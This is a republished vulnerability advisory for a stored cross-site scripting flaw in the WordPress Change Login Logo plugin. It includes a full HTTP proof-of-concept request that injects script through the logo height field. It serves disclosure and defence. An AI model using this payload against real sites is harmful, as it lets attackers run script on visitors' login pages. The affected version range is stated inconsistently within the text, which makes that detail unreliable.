WordPress Change Login Logo 1.0.1 Persistent Cross Site Scripting ≈ Packet Storm – Digitalmunition




Exploit/Advisories no-image-featured-image.png

Published on August 19th, 2020 📆 | 6458 Views ⚑

0

WordPress Change Login Logo 1.0.1 Persistent Cross Site Scripting ≈ Packet Storm

# Exploit Title: WordPress Change Login Logo Plugin v1.0.1 – Persistent Cross-Site Scripting
# Date: 2020-08-18
# Vendor Homepage: http://www.boopathirajan.com/
# Vendor Changelog: https://wordpress.org/plugins/change-login-logo/#developers
# Exploit Author: Melbin K Mathew (@melbinkm)
# Author Advisory: https://melbin.in/2020/08/15/multiple-stored-xss-vulnerabilities-in-change-wordpress-login-logo-plugin/
# Author Homepage: https://melbin.in
# Version: 1.0.1 and below

1. Description

Change WordPress Login Logo Plugin is used to replace WordPress default logo in WordPress login page with a user supplied image. The height, and width fields used updating the custom logo was found to be vulnerable to stored XSS, as they did not sanitize user given input properly before publishing the changes. It is triggered when a user loads the WordPress login page. All WordPress websites using Change WordPress Login Logo Plugin version 1.1.4 and below are affected.

2. Proof of Concept

POST /w/wp-admin/options.php HTTP/1.1
Host: 95.217.19.38
Content-Length: 353
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://95.217.19.38
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://95.217.19.38/w/wp-admin/options-general.php?page=change-login-logo
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7Cb6923f10946ffce4a149ff702761391ed5ab2efed419261f5bd9d173281a1d95; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7C187d1919d81892688985d2acd9d7c8995a974ded5282ab8d15344dae9764a405; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse; wp-settings-time-1=1597422791
Connection: close

option_page=change_login_options_group&action=update&_wpnonce=6d58248d5e&_wp_http_referer=%2Fw%2Fwp-admin%2Foptions-general.php%3Fpage%3Dchange-login-logo&wp_logo_url=http%3A%2F%2F95.217.19.38%2Fw%2Fwp-content%2Fuploads%2F2020%2F08%2F75.jpg&wp_logo_height=100%7D%3C%2Fstyle%3E%3Cscript%3Ealert%280%29%3C%2Fscript%3E&wp_logo_width=100&submit=Save+Changes

Source link

Tagged with:



Leave a Reply

Your email address will not be published. Required fields are marked *


loading...